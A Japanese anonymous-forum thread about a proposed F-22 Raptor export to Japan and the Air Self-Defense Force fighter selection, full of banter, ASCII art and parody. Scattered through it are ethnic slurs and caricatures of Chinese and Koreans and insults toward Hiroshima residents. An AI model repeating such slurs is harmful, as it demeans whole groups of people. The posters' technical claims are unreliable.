閉鎖するかもしれないと懸念していた。
（略）
「私はこの法律の規定はもはやわれわれの技術の秘匿手段として必要ないと考えている」
Grangerは議会の場で発言した。
（略）
この提案が上院を通過するかどうかはまだわからないが、議会は伝統的に国際的な
軍事計画の協力を許可することに寛容である。

上院防衛委員会の議長であるSen. John W. Warner氏はラプターの改良型の国外販売を
支援したいとの考えを示した。

「私自身としては、この航空機の技術輸出に関してのわれわれの要求に合致した
形式のラプターを生産することを考慮するべきであると考え、そのモデルは
輸出専用型になるだろう」Warnerはインタビューに答えた。「この戦闘機は、
輸出用にモデファイされたとしてもなお強力な戦闘機であると考えている」

日本向けは対地兵装運用能力の削除にとどめてほしいもんだ
形状・構造ステルスやエンジンはダウングレードされないと思うが、
レーダーがLPIじゃなくなるとかまじ勘弁

>>246
輸出用はデコ助ラプタンになります

　　 ∧∧
　 ／ 中＼ 　＜　靖国参拝を止めれば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　新幹線の技術を渡せば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　尖閣諸島と沖縄を中国に譲り、沖ノ鳥島を岩だと認めれば、
　（ 　｀ハ´）　　　 日中関係は改善するアル
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　中国の言うとおりに歴史教科書を作れば、
　（ 　｀ハ´）　　　 日中関係は改善するアル
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　常任理事国入りを諦めれば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　ODAを増額すれば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　F-22Ａの情報をよこせば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）
　　 ∧∧
　 ／ 中＼ 　＜　中国のいいなりになれば、日中関係は改善するアル
　（ 　｀ハ´）
　（ ~__))__~）

日本のラプターにJDAMは不要

ＳＤＢがあれば十分だよな

35の構成でラプターに使えそうな物なんかないかな？

パイロットとＡＭＲＡＡＭ

ん〜取り敢えず1SQ18機で考えれば100機の場合5SQか。
ってかアメさん予想外の速さでﾗﾌﾟﾀﾝ調達してるな。

もう米国向け増産の見込みが消えたのか・・・・

F-22Jは
・ステルス機能の廃止
・空中給油機能の廃止
・ミサイル搭載不可
・爆弾搭載不可

と近隣諸国にに配慮した機体になります

むしろ35のgdgdに愛想尽かされたと好意的に見ようぜ

>>251
ロット5から使われるAPG-77(V)1はAPG-81との共通性を高めるらしい
またF-22も全周IRカメラの情報をパイロットが扱えるようにするとか

>>255
機銃だけでも買う価値は……あるかな？

まあ空中給油機能廃止はF-4EJでやったからな

こんないい物売ってもらってなおかつアメ政治家の面目が保たれるんだったら言うことナシだな。

>>258
まあ、研究用アグレッサーまで禁止されなければ数機ぐらいは

もうF-22は諦めてF-26を買おうぜ

まぁ、KCも今年1機入るし、(;´Д`)ﾊｧﾊｧ(;´Д`)ﾊｧﾊｧ出来そうだ

百里と新田原あたりがバランス良い配備と思うが・・・

>>264
>>210

>>257
22の皮に35の22に流用できるパーツ使ってダウングレードで
システムだけ再設計なら手間ひまそんなにかけずに出来上がらないかなと

ちょっと思ったのさ

んな無茶な

>262
すとらまではラプタに勝てないからヤダ

>>266
F-22のFLCSに手をだしてはならん…

ラ国できるかどうかが気になるな。
あまりに高いんじゃFMSで妥協するかな？

>>270
誰もラ国できるとは思ってないYO！

狙うはF-15代替の時だ

F-22A 　 　　F-26
ラプター　　VS　　すとらま

　　　　日の丸の英雄

ダウングレードして機体弄られるより、初期ロット渡したほうが双方にとって利益になると思うんだけどね。

>>232
広島県民として抗議するタラ。
つーわけでただいまタラ〜

>>274
今でもピカドンに脳をやられたのが沢山いる所ですか

核ミサイルの飽和攻撃萌え

広島はヤクザと珍走の保護区だからな

へー、F-22売ってくれることになったんだ
ブッシュの小泉へのおみやげか

広島にはヤクザと珍走とプロ市民しかいません

>>273
初期ロットは加熱不充分の欠陥フレーム機だよ
改修費用は日本持ちになるかもね

>>255
ちょｗｗｗｗそれじゃﾊﾘﾎﾞﾃwwwwwwwwwww

>>281
研究用サンプルとして

スーパークルーズ可能な強力レーダー搭載のガトリングガンシップになりますね

中国調査船にもなめられないようになりますか？

つーかA-10買おうぜ、不審船狩りに

>>255

・飛行能力の削除

ついにモックアップにまで堕ちたか・・・。

>>286
ちょｗｗｗｗソレ既に”飛行機”じゃｗｗｗｗｗｗ

>>278
点Ｆ−22でボロ勝ちしてきたわけだな、ジュンイチロー

こんなに期待させておいてだよ、最後はスパホに決まったらどうしよう･ﾟ･(ﾉД`)･ﾟ･｡

>>289
面子は誰が入ったのだろう

>>290 スパホなら空自がクーデターを起こします

空自って250ポンド爆弾しかないんだっけ？
せっかくJDAMとか使うならせめて500ポンドは欲しいとこなんですけど！

また自分達が売ってもらえないと「共同購買するニダ」の話してるよｗ
日本にたかるなよｗ寄生虫韓国ｗｗ

>チェリョボロワッダブ我が国みたいな場合にはおろそかにラップトを購入するために出る必要がないです.
>日本の状況を見ながら作業を進行しても遅れないです.
>私の考えですが, ラップトを購入しなければならない状況が来たら, 韓,米,日が共同購買する形式で購入するのはどうかな? 考えをして見ます.2006-07-02

ボーイングと米海軍の賄賂で、スパホに日米が合意

とかになったら、空自と米空軍とロッキードが
ボーイングと米海軍相手に外ゲバ仕掛けるんじゃねえのｗ

>>291
タイゾーは確定か？

韓国の高校生は、高校3年で多変数関数の微積分や
ベクトル解析もある程度教える、と聞いた事がある

だったら数値計算でステルス形状物体のマクスウェル方程式
コツコツ出力して作りやがれ！

>>297
あり、日本でもその当たり高三でやらなかったっけ？

>>295
ボーイング事件とか言われるのかね
証人喚問とか首相が逮捕されたりして大疑獄事件になりそうな予感

>>298
多変数はやらないでしょ？

>>299
逆ロッキード事件

>>300
変微分ぐらいならやってた気がしたが・・・
やってない？

>>298　grad、div、rotはやらん。

グリーンもガウスもストークスもやらん。

>>299
今まで、ロッキード、グラマン、マクダネル・ダグラスはガイシュツ。
これでボーイングが来れば、ストレートフラッシュ！

そういえばあの麻雀漫画の続編ってもう出たの？

;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,ｒ 、/　い　　ヽ　||　　　　＞' ￣ ヽ　/:::::::::::::::::::／"""ｧ::::|
;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,/　　あ　　 | .||　　　 / 　 く　そ !!::::::::::::::／　　　　ﾄ=::!
;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,,ヘ/　 　ス　.　 | .||　　　i　　 ち　う. |ｲー""´　.　 　 　 　 |
;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;／;;;,;;|　　　ト　　　.| .||　　　| 　　ゃ　 　.i＿／／＿　.　 　 　 |
;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,;;;,／;;;,;;;,;;;,|　　　ラ　　./ .!!　 　 | 　　な　こ | ｒー'　´　　,, ‐‐＝） |
;;;,;;;,;;;,;;;,／￣￣"/"　　　　"ﾐ、　　マ ／　 ||／￣　 　 ァ　なﾉ　　　ｒ‐‐ 7ﾆﾌ"￣ヽ |
;;;,;;;,;;／　　　　/"　　　　　　 / ｀ ー ヽ　　 .||　　　　　　　<"´!ｒﾊ　/ ヽ::::::::::　　　　.|
;;;,;;;/|　　　　"￣ヾ、　　 | 　 i　/;;;,;;;,;;;,ﾍﾉ . ||　一 .F　 今　 i　ｖ少!　　/::::::::.: . 　 　 |
;;;,/. i　　　　　 　ｒ-ｪ-ｙ-'、 ｙ=';;;,;;;,;;;,;;;,/..　..||　機　l　 度　　|　 |　.|　　 ｀i　i. .　　 　 |
;/、 !　, -- 、　 ｀　　゛ / .ヽ|;;;;;,;;;,;;;,;／.　.　.||　だ 26 .は.　 i　 （　!_ -"゛　 ｀ ー 、　|
'　 ヽ./　　　ヾ、　　　　　　　、;;;,;;;,/　　　　.||　　　ス .千.　 |　　i　　　　　　　　　、! |
ﾊ　 /　 ス　　|ヽ　　　 ,>　　　ｙ;;;< 　 　 　 .||　　　ト .点.　 |　　ヽ、　　＿__,, ‐ " .|..|
;,ﾍ. i .　 ト　　!　／　 "-　l／フ'.　 　 　 　 ||　　　ラ に　　!　　　 ﾍニ−" 　 　 　 .|
/ ヽ!　　ラ 　 | /　＿_____l |/;;;,/_　＿ |/__//!　　　マ　つ　/　　　　　!｀ー '　　　　i　|
　ヽ|　　 マ　. i　 -"―--ﾉｒ−‐7/　//　コ| ||　　　　　き /＞、//__ //　　　　 ／　 |
　ヽヽ、　　　ﾉ⌒　"￣!/　￣| |"　￣　 ￣ .||、　　　　／<／>ﾌ ,コ !　ヽ ー‐−ｱ"_ |
｀＼　　ー '"ヽ＿＿__/　　/" /　　 　 　 　 || ｀　ー '" 　　<／　"‐'　　　　　　　）、

F-26のでかい画像って無い？

公式サイトにいくらでも

取り敢えずこのスレを受けてデスクトップピクチャをTY所属のﾗﾌﾟﾀﾝにしたわけだが

ここで、空自のF-X選定委員会はサプライズな決定を下すわけですよ。

>>310
タイフーンか！

次期空対空誘導弾は、中SAMを改良して作る

FX候補となっている機体の中では、Ｆ22が無理な場合はＦ/Ａ18がもっとも可能性が高いだろ。
欧州機、ラファール・タイフーンは米製のミサイルなどを搭載するのが難しいあたりのマイナス点だ

>>313
半年ROMれ

>>313
半世紀ROMれ

ま、全角アルファベットの時点で(ry

　　 　　　　　l^丶
　　　　　　　 | 　'ﾞ''"'''ﾞ y-―, あ　ふんぐるい　むぐるうなふ　すとらま
　　　　　　　 ﾐ　´ ∀ ｀　　,:' 　　　　 　
　　　　　　(丶　　　　(丶 ミ　　　いあ　　 　いあ
　　 （（　 　 ﾐ　　　　　　　 ;':　　ﾊ,_,ﾊ 　　ﾊ,_,ﾊ
　　　　　　　;:　　　　　　 　ﾐ 　';´∀｀'; 　';´∀｀';, ,
　　　　　　　`:; 　　　　　　,:'　　ｃ　 ｃ.ﾐ'　ｃ　 ｃ.ﾐ　　
　　　　　　　　U"ﾞ'''~"＾'丶)　　　u''ﾞ"J 　 u''ﾞ"J

　　　　　　　　　 /^l
　　 ,―-y'"'~"ﾞ´　 |　　　それ　 すたばてぃ　うがふなぐる　ふたぐん
　　 ヽ　　´ ∀ ｀　 ﾞ':
　　　ﾐ　　.,/)　　　､/) 　　　いあ　　　　いあ
　　　ﾞ,　　 "'　　　´''ﾐ　　　ﾊ,_,ﾊ 　　　ﾊ,_,ﾊ
（（　 ミ　　　　　　　;:'　　,:' ´∀｀';　　,:' ´∀｀';
　　　 ';　　　　　　彡　　::　っ　,っ　 ::　っ　,っ
　　　　(/~"ﾞ''´~"U　　　ι''"ﾞ''u　　ι''"ﾞ''u

>>316
そこは半万年ＲＯＭれっていうところ

空自のFX選定委員会はスホーイと契約交渉中との発表

>>319
なぜミコヤンじゃないんだYO！

>>313
非ステルス機が使うにはAMRAAMの射程が短いんで、
できたらAAM-4かMeteorを使いたいです＞＜

「今だけ・・・ラプターさんのことを嫌いになった国防総省さんでいて下さい」
「俺ラプターのこと嫌いになった訳じゃないから、
うまく言えないかもしれないけど・・・

最高だ、ストラマ、ラプターよりずっと良い
ストラマのこの複雑でよくわからない可変翼に比べたら
ラプターのなんて物足りないよ、ストラマの可変翼は最高だ
ステルス性能も、プラズマステルスがすごくて、ラプターのじゃ全然見つかりそうだけど
ストラマは起動するだけでもうすぐにレーダーから消えちゃいそうだ
ラプターのあんな性能に溺れていたなんて自分で情けないよ
この網膜投影システムを使ったら
もうラプターの古臭いHUDなんて見る気もしない
ラプターなんて制空権とってくれるくらいしか価値のない金食い虫だよ
ストラマさえ居れば俺は・・・　∩(・∀・)∩いあ！すとらまぁ！すとらまぁぁ！」

ラプターなんか採用してもラ国できないしな…
非ステルス機の中では世界最強といわれてるスパホをラ国でいいと思われ

なんですとらまなんて薦めるのワイバーンのほうがいいじゃん味噌100発も積めるんだぜ

韓国はＦ-15Ｋの整備部品不足で苦しんでるけど、
空自がラプターを採用したら、全く同じコトになるんじゃない？

>非ステルス機の中では世界最強といわれてるスパホ

タイフーン、ラファール、フランカー、イーグル・・・

そんな事言ったらＹＦ−１９なんて約四十秒で大気圏離脱できますが何か？

http://blog.livedoor.jp/dqnplus/archives/717051.html(・ω・　)ﾓﾆｭ?

>>323
非ステルス機の中では世界最強といわれてるスパホ
　|　　／l、　??
　|　（ﾟ_ ｡ ７ 　ﾂﾝﾂﾝ
　し⊂、 ~ヽ
　　　　しf_, )〜

　|　 　　／l、
　|　 　 (ﾟ､ ｡｀ﾌ
　し　　 ｣　 "ヽ
　　　　()ιし(~)〜
　

　|　 　　／l、
　|　 　 ( ﾟ､ ｡｀ﾌ　ﾀﾞﾒ？
　し　　 ｣　 "ヽ
　　　　()ιし(~)〜

>>318
m9(^д^)ﾌﾟｷﾞｬ−

しかし何がダウングレードされるのか気になるなぁ。

>>326
全て明らかにスパホより弱いじゃんｗｗｗ

非ステルス機で対艦番長はＦ-2だろ？

>>331
何がどう弱いのか具体的によろしく

とりあえずスパホは他の全ての選択肢より短足で鈍足だが

いよいよF-22輸出に動きが出てきたなぁ・・・
しかし上下で法案が通るのか不透明なのと、中間選挙で民主党が多数しめると
絶望的かもしれん。

>>332
はあ？P-Xにきまってるだろ

>>333
＞とりあえずスパホは他の全ての選択肢より短足で鈍足だが

　　　　 ﾉノ))((ゞ　オマエの情報源は2ｃｈだけかよｗｗｗ腹遺体
　　 /⌒（. ;´∀｀）つ
,... .(＿)⌒(＿) ,.,.. ,,,.,.. ,....と＿）__つノ　　☆　ﾊﾞﾝﾊﾞﾝ

>>336
で？

>>336のソースが見たい今日この頃

スパホ（笑）

>>338
脳内

これこれ。
煽っちゃいかん(笑

スパホ脳内最強か
こりゃ誰も立ち入れない領域だなｗ

　 　 _ 　
　　(　ﾟ∀ﾟ)彡　スパホ！ライノ！Ｆ/Ａ-18Ｅ！
　　 　　⊂彡

スパホ？何それ喰えるの？

スパホ　煮る　とても　うまい

スパホ　嘘吐かない

>>333
「タイフーン、ラファール、フランカー、イーグル」がスパホより弱い点

1. 標準で艦載機運用ができない
2. 主翼が折りたためない
3. バンカーバスターが撃てない

>>245
Sending Such Technology Abroad Raises Concerns
WPの記事タイトル思いっきり否定的だな。
日本に売るって事を想定して否定的なタイトルにしたんだろうか？
上院を通る可能性はあるのかね？

日本列島という空母で使用するならスパホが最適だな

>>347
だまれスパホ

スパホを可変翼にしたら
見とれてやる

スパホを前進翼にしたら
見とれてやる

スパホの機首にアヴェンジャー付けたら最強じゃね？

ttp://www.youtube.com/watch?v=1_GOBG6AxSM&search=Raptor

>>353
いくらなんでも複座の攻撃機は無理だろ

オレの手元にある2003.10（ＮＯ610）の航空ファンでスパホ現役パイロットが

Ｆ/Ａ-18Ｅ/Ｆは最小限のサポートで、さまざまな任務に即した兵器を確実にターゲットに
叩き込み、無事帰還することのできる戦闘機だ。
熟練を積んだパイロットとＦ/Ａ-18Ｅ/Ｆは、
世界がこれまで見てきたなかで、もっとも手強い航空兵器のひとつになる。

と言ってるしな。現場がいうなら世界最強でええやん

　 　 _ 　
　　(　ﾟ∀ﾟ)彡　スパホ！スパホ！スパホ！
　　 　　⊂彡

じゃあ世界最強はライノで
地球最強がラプターで
宇宙最強がすとらま様で

>352
たしかAKIRAに似たような機体が・・・

もっとも手強い航空兵器のひとつってことは
ほかにも手強い航空兵器があるってことだろ？

>>356
そりゃ実際のパイロットはそう思わん奴は逆に2流だよ。
自分の相棒が一番なのさ。

･･･とはいえ日本が欲しいのは最強戦闘機。

>>356
現場の意見が全てならMig-21だって世界最強になるけど？ｗ

んなもんどの機体のパイロットも同じ事言うに決まってるだろ

>>356
トムキャット乗ってた奴なんかは、口を揃えてトムのがいいと言ってるらしいです

>>360
スパホに比べて能力は劣るけど、フランカーやタイフーンのような航空兵器があるという意味では

http://hobby7.2ch.net/test/read.cgi/army/1090969486/l50
2年前のスレッド

273 名前：>>270これのことか。物凄く読みづらくてクラクラするんだが 投稿日：04/08/30 23:29 ID:???
677 名前： 名無し三等兵 [sage] 投稿日： 04/08/30 22:42 ID:???
＞F18/EF厨かお？(笑)

GAOな報告書に雀蜂と超雀蜂に関する報告書があったりするんだが、それには超雀蜂であっても糞遅い加速(F16にも抜かれるぞ)。糞近い足
(F16並の兵装、F16並の巡航速度)、妖しいステルス性とさんざんな評価なんやがのぅ。

改造による発展性があった／ある？違うだろ。余りにも酷すぎる性能だからこそ改修という名の新規開発を命じ (雀蜂から超雀蜂へのコンバ
ージョンキットってあることになってんだろな、 彼らの世界では)、そいでもって素性が駄目駄目だからこそ改修時におけるスペック向上率を思
いっきり下げた(正確には素性が悪いので、 高性能化した場合、今度こそ形状からの再設計及び評価を行う必要性があり、それは洒落になん
ないまでの取得コスト増加を招くことが必死だな。だから)訳なんだが、F2に関するGAOのほーこくしょを盲信する割にはF18に関する報告書の
内容を無視どころか無かったことにして夢を語るのね。こういうのってなんて言うんだっけ？狂人？軍ヲタ？ダブルスタンダード？
そいでもってもう一方はEFは段階的に改造するから格安？馬鹿こくでない。改造って行為を知らない阿呆しかそんな事言わないよ。流石に自
称製造技術、 実装技術に関してexpertと名乗ってた人でですら口つぐんでるやん？その辺どー考えてるんだろ？現実世界が辛すぎるから脳
内世界に逃げ込むってのならそれも由。ただし、妄言・寝言を現実世界で語るなと。そんなとこだにゃぁ。 そりはそうとF18が縦の「旋回性能が
侮れない」ってのは確かだにゃ。でも、侮れないという言葉から判るように「最強ではない」事も確か。 単にスペック上の翼面荷重よりも良く上
がるというだけの話だにゃ。しかしながら、あの手のリフチングボデー系はその代償にladderに対する機体挙動の感度が異常に高いため、 常
に前縁でbrake掛けながらladderを動かさないといきなりバレルを噛ます事になる。そして、この自励回転運動によってエンジンが止まる事も。
それを避けるため過剰にbrakeを掛ける必要が生じ、

>>365
氏ね

>２７５
>２７３はwarbirdと言うサイトの掲示板を荒らしている人物に対して｢Ｓ氏｣が意図してわかりにくく揶揄した文章の一部改変コピペですね。

・Ｆ−２に対してはＧＡＯ報告書を引いて叩く一方にＦ−１８Ｅ／Ｆに対してはＧＡＯ報告書を無視しているのはたぶるすたんだーどである
・迎え角変化に伴って揚力中心位置が激しく移動するスーパーホーネットは動きの発散を防ぐために動翼を用いて安定させるがその所要動作量が非常に大きく、空気抵抗を増している
・ホーネット→スーパーホーネットとするにあたって改造範囲が大きかった事を｢Ｆ−１８は発展性が高い証拠｣とする(先方の掲示板でそう主張している人物がいるのです)のは間違いである

ほかにもありますが、まぁ上のような事を揶揄のためかわかりにくく書いているわけです。

要するによそのもめ事です。

＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿

おお、2ちゃんがソースかﾌﾟｯ

から、ウォーバードがソースがﾌﾟｷﾞｬｰ

に、ちょと格上げしたｗｗｗｗ

ライノは今はもうどうでもいいよ。
プラモ買って喜んどけ。

>>367
氏ね

>>347
ラファールは艦載型があります。
ストライクイーグルはバンカーバスター撃てます。
主翼の折りたたみ機構は構造が複雑になるうえ重量が増えるため艦載機以外には必要だと思えません。

お、さっきから氏ね氏ね書いている奴は
上のホーネットスレ2で、趣味の人というコテハンと
喚き合いをやらかして、挙句ホーネット系の陸上運用における問題を
日本の初心軍ヲタに明らかにしてしまった香具師だろうか

「ごきげんよう」
「ごきげんよう」
さわやかな朝の挨拶が澄み切った太平洋にこだまする。
ビッグＥの飛行甲板に集う乙女たちが、今日も天使のような無垢な笑顔で背の高い艦橋の横をとおり抜けていく。
汚れを知らぬ心身を包むのは、灰色の制空迷彩。
ジェット後流は乱さないように、、白い飛行機雲は曳かないように、ゆっくりと飛ぶのがここでのたしなみ。
もちろん、燃料切れぎりぎりで走り去るなどといった、はしたない機体など存在していようはずもない。

これ読んでなごみ萌えやがれｗｗ

>>370
>ラファールは艦載型があります。

フランカーもね。
「標準では」と書いてるだろ、日本語読めますか？

>ストライクイーグルはバンカーバスター撃てます。

ストライクイーグルではなく、イーグルね。

>>372
艦載型のラファールなら標準で空母で運用できますが？
F-X候補はストライクイーグルですが？

そもそも制空戦闘機にバンカーバスター積むってアホじゃないの？

っていうか何で今更スパホ厨？

つ　ネタギレorアグレッサー

夜釣りだろう。
昔はよくあった事さ。

>>373
必死だなｗ

スレ住人が当番制で釣り師をやっているのですよ。

日直みたいなもので。

>>373
制空戦闘機の主翼の折り畳みには意味があると思ってるんだなｗ

>>377
どんな餌にでも食いつく馬鹿ですからｗ

>>379
すでに>>370で触れたつもりだったのですが。

スレ維持のためにもラプター以外の可能性を常に追求し続けねばならん

スパホ厨の必死さ加減にｸｿﾜﾛｽｗ

>>373
＞艦載型のラファールなら標準で空母で運用できますが？
艦載型の時点で標準ではありません。

＞F-X候補はストライクイーグルですが？
ストライクイーグルはF-X候補ではありません。

＞そもそも制空戦闘機にバンカーバスター積むってアホじゃないの？
ネタに必死で反論してる時点でアホはおまえです。

>>381
気が触れたらしい（笑

＞ネタに必死で反論してる時点でアホはおまえです。

早々とネタバレするな馬鹿者
アグレッサー失格だ、出直して来い

>>384

>艦載型の時点で標準ではありません。
じゃあ艦載機として運用したいなら空軍仕様のラファールを改造しろと？
実際にある海軍使用のラファールは無視するんですか？

>ストライクイーグルはF-X候補ではありません。
>>1見ましょう

>ネタに必死で反論してる時点でアホはおまえです
アホですが何か？

>>387
ストライクイーグルがF-X候補というソースきぼん
２ちゃん以外でｗ

トム猫を、追い出した
スパホは敵だ。

>>388
ｺﾞﾒﾝ、日経の記事消えてる。
双日がF-15Eの販売代理店になったって記事があったんだが。

まあべつにいいけど。

そもそもラファールは最初から艦載すること前提で設計されてるしなぁ
ステルス空母シャルル・ド・ゴールとセットの運用で、海洋地域の制空権維持には最強じゃない

>>388
スーパーホーネットがF-X候補というソースきぼん
２ちゃん以外でｗ

おまいら・・・スパホ如きで香ばしい事になってんなぁ・・・

ttp://www.network54.com/Forum/211833/thread/1151834395/last-1151854447/JAPAN%81%40F-22J
例の掲示板でワシントンポストの記事についてだが、
どうも日本がらみの記事だとみんなネタ書き込みみたいになっちゃうな。
日本がらみの記事でここの掲示板まともに議論してる書き込み見たことないな。

>>394
そこは中共のWorkAreaだしね。日本からのUser登録は不許可になってるしｗ

>>392
オウム返しだけで、結局ソースは出せませんかｗ

一応>>1に候補と販売代理店が書いてあるんだが・・・

おっと、これでは2chソースといわれてしまう。
まあF-15A/B/C/D型のラインは既に閉じてしまっているからラインをまた作りでもしない限り
候補になることは無いのだが・・・・


さすがに砂漠に転がってるF-15を改修するなんて真似はしないだろうし。

>>395
でも日本人らしき（串さして？）奴が必死に書き込んだり、日の丸ラプター写真はったりしてるな。

>>398
わざわざ串通してどうこうする奴なんて少数。
それも工作員レベルだし普通は無視するだろうな。
中国人、朝鮮人のひどさ・醜さを告知したいんなら
素直にyoutubeでそんな画像を流せばよい。

>>392
一次ソースのニュースサイトはどこももう記事が古くて消えてるみたいね
http://www.gamenews.ne.jp/archives/2006/03/f22_6.html

>>399
http://www.itmedia.co.jp/news/articles/0606/23/news065.html
youtubeはこうゆう事になってるから、あんまり日本から調子こいてはると制限されるかもしれないよ。

>>400
F-22AをF22Aと書き、
F15FXなんてどこにも存在しない機種を書いている、
軍ヲタの妄想サイトなんてソースになるかよｗ

>>402
たしか元の産経にそう書いてたからそのまま転載しただけだと思うよ

>>403
産経の記事に「安物買いの銭失い」なんて言葉が出てくるのかねぇ？ｗ

F-15FXについては諸説あったな

単座化して電子装備改修(消極的改修派)
フレームから新規設計(積極的改修派)
ステルス化してF119積んで・・・・・(それなんてF-22派)
カナードつけるんだよ！(ACTIVE派)

結局候補機としてはどうなんだろ？

諸説なんてねえよ。
F-15FXなんて妄想の産物だろ。

キャッシュに残る産経の記事

　航空自衛隊Ｆ４戦闘機の後継となる次期主力戦闘機（ＦＸ）の選定で、防衛庁が候補機選定の
ための調査対象を六機種に絞り、米、英、仏の国防当局に性能などを問う質問書を送付していた
ことが十八日、分かった。機種選定の条件として「日米のインターオペラビリティー（相互運用性）
の確保」を挙げていることも判明した。同庁は二〇〇六年度中に調査員を米、欧州に派遣する。

　防衛庁は中期防衛力整備計画（二〇〇五−〇九年度）期間中に、老朽化で〇八年度に減数が始まる
Ｆ４の後継機を七機調達することを決めている。

　機種選定は航空幕僚監部の次期戦闘機企画室を中心に進めており、今月上旬に質問書を各国の
在日大使館を通じて送付した。

　対象に挙がった六機種は、米国の最新鋭Ｆ２２Ａ戦闘攻撃機と、米英などが共同開発する次世代
高性能戦闘機Ｆ３５、米海軍の最新鋭攻撃機ＦＡ１８、日本向け仕様として開発中の米戦闘機
Ｆ１５ＦＸ、欧州戦闘機ユーロファイター、フランスのラファール。

　後継機導入に当たり同庁は、中国やロシアの最新鋭機を上回る性能のほか、米軍の主要艦艇との
情報交換システム「リンク１６」との連接、有事や合同演習での日米共同対処に支障がないことなどを
求めている。現時点ではＦ２２が有力視されている。

　防衛庁は〇六年度予算に、海外調査費として約七百万円を計上。メーカー側が公開していない
各戦闘機のステルス性やレーダーの有効射程などを照会し、今年十月にも調査員を派遣する。
その後、メーカーに運用などに関するさらに詳しい説明を求めて候補機を絞り込み、〇八年度以降、
調達に着手する計画だ。

　同庁は「次期戦闘機を検討する上で、必要な資料を収集するため、最新の技術が適用されている
諸外国の戦闘機を対象に質問書を出した。情報収集の一環で、候補機種が決まったわけではない」と
している。

米議会上下院で法案が通るなら素直にラプター買いたいなぁ。
まじで議会どうなるんだろうか・・

F-15FX厨の拠り所って今でも産経の記事しかないのね・・・
記事はすでに消えてるし、スペックはどこにもないし（笑

>>406
F-15FXじゃなくてボーイングが提示してるF-15Eの日本仕様の奴の話だな

空自のF-Xとは関係無しでF-15E+or15Fの開発だか計画を始めるなんて話が出てたし

いくらなんでも自費でスパホ並の改造はﾑﾘだから
アビオが変わるとか単座になるとかそういうレベルだとずっと言われてた

＞日本向け仕様として開発中の米戦闘機Ｆ１５ＦＸ

開発中なら紹介サイトがあってもいいはず

結局F-15Eの空自向けの改修をFXと読んでいただけなんかね。
フレームからの再設計はもう間に合わないだろうし。

ボーイングがF-15Eの空自仕様を提示した事で
ボーイングがライノではなくF-15Eを考えてる事が解って
この時点でライノって選択肢が消えたんだよね

値段同じだし＞ライノとF-15E

詳細は不明(未定)だけれど、F-15系列の何かが検討対象に入っていたということは確実なんじゃない。
F-15KとかF-15SGとかストライクイーグルの亜種が各国に絶賛納入中だし、その手のものと見るのが妥当かと。
まぁ、いらないことには変わりがないけど。

ぬるぽ

イギリスってF-22に興味ないの？
日本と同等かそれ以上に売ってもらえる可能性高い国じゃん。

>>418
ユーロファイターに熱中してるんじゃない？

ぬるぬる

>>418
イギリスは北海防衛ができれば
あとは諸連邦の防衛くらいだから
むしろ艦載機の方が欲しい

あんまり必要ないってのが現状
問題の北海油田も枯渇寸前って話

ま、ﾗﾌﾟﾀﾝもﾗﾌﾟﾀﾝなりにボーイング絡んでるし、
今更ストライクイーグル系も陳腐化してるのは自明の理。
7機というと、3機教導隊 4機百里かな。
ま、シャトル打ち上げでも観てﾏﾀｰﾘしようぜ。

>>418
日本並みに危ない位置にあるわけでもないし、
周辺国は同盟国ばっかりだし、
そこまで必要ではないかと。

その前に岐阜と浜松の分が……。

いっそのことノースロップ儲けさせるためにYF-23再開発しようぜ。
出来るだけ早く開発するためにF-2の電子装備流用して、
ついでに艦載型も開発しちまえ。

術科学校の分はそれ用のモックアップを作りそうな感じ。
岐阜ねぇ〜… アメさんは魔改造怖がってるしなぁ…

飛行開発実験団にラプターきてほしいよな。

イギリスはf-35でアメリカに相当譲歩させたからそれで満足なんじゃないか？
生産だかノックダウンだかにもからめるわけだし。
F-22じゃまずそうゆう深いとこにはかめないだろうし。

アメリカが売ってやるといっても正直いらんから、とっととF-35B完成させろってのが
エゲレスの間違いない本音と思われ。

英国にしてみれば軽空母運用出来ないわ馬鹿みたいに高いわ植民地まで出張れないわで
文字通り無用の長物。

>>422
それは去年の時点での機体数。F-4J入れ替えで80機だから最低40は入れる。

F-2に比べたら、F-15EJのが性能、値段、機能向上余地、耐久年数、搭載可能兵器すべてにおいてよいが、
ラプターに比べたら、F-15EJなど、霞んでしまう。スパホも。

日本君は、今、オセロの白（F-2）と付き合ってる。日本君は、最近オセロ白に飽きてきた。
なんか意味不明の金かかかるし。
しかも、オセロ黒（F-15EJ）も日本君をまんざらではなさそうだ。
オセロの黒い（F15E）方の方が、白い（ｆ-2）ほうよりかわいい。
顔は悪いが体は最高の北陽の虻ちゃん（F/A-18）ちゃんも日本君が告白すれば間違いなく落ちそうだ。

しかし、彼女達は、滝川クリステル（F-22）を前にすれば、そんな比較など無意味。

現状は、滝川クリステルのお父さん（USA）が、娘が結婚を前提に交際するのを認めてくれた感じ。
しかもお父さんは、どうやら日本君を前提においてるみたいだ。
周りを見渡しても、日本君が期待されているようだ。
勘違いした韓国君がクリステルを狙ってるが、基本的に相手にされてない


しかし、クリステルは超お嬢様な為、結婚にはそうとう金がかかる。
その上、入り婿（FMS）なら、結納金はすくなくてすむが、嫁に来てもらうとなると（ラ国）莫大な費用がかかる。
しかし、日本君のうちは、入り婿（FMS）に反対する家庭内事情があるし、どうやら入り婿しか認めてもらえない。
日本君は、お金はもってるほうだが、今は厳しい。
もうめんどくさいから、オセロ黒でもええか？なんてこころの内で思ってしまいそうになる。
お金があれば・・・・

>>418
イギリスは結構離れた場所に領土あるからね。
